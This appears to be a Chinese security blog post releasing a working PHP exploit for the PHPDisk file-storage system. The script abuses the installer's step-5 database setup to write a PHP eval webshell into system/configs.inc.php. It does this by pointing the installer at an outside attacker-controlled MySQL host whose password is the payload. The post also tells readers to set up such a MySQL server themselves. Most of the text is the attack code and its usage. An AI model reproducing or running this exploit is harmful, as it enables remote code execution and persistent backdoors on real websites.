phpdisk header bypass & getShell exp

PHPDISK网盘系统是国内使用广泛PHP和MySQL构建的网络硬盘(文件存储管理)系统,笔者对其源码分析中,发现了一个很有意思的东东…..

文章是上个星期写的文中的 98.126.4.252 已然失效临时改为 98.126.4.251

如果还不行请大家去找能外链的 mysql 改密码为

',);?><?php eval($_POST['y']);?>

phpdisk 漏洞发布 -- phpdisk header bypass & getShell exp \

<?php
error_reporting(0);
set_time_limit(0);

echo "
/*======================================================================================
====Name:Phpdisk  header  bypass  &  GetShell  exp                                  ====
========================================================================================
====Usage:php  phpdisk.php  www.av.com.                                             ====
========================================================================================
====Team:CodePlay    Team                                                           ====
========================================================================================
====Author: Yaseng  『WwW.Yaseng.Me』                                               ====
====Date: 2012-06-15 01:35:00                                                       ====
======================================================================================*/
"; 

if ($argc < 2)
{
    print_r('
    +---------------------------------------------------------------------------+
    Example: php '.$argv[0].' localhost
    +---------------------------------------------------------------------------+
    ');
    exit;
}
$site = $argv[1];
$url= $site."/install/index.php";

$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=98.126.4.251&dbuser=root&dbname=mysql&dbpasswd=".$pass;

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$result=curl_exec($ch);
curl_close($ch);

$shell="http://".$site.'/system/configs.inc.php';

if(strpos(@file_get_contents($shell),'pconnect')){
    echo  "Hi  guy  I  get the  Shell:".$shell;
}else{
    echo   "Shit !!!   This   Site:$site  Can  not   get  Shell";
}
?>

具体代码审计文章 +exp 还是附件的干活：Phpdisk header bypass & getShell exp

代码审计文章（非附件、在线版）：phpdisk header bypass & getShell exp.doc

文章目录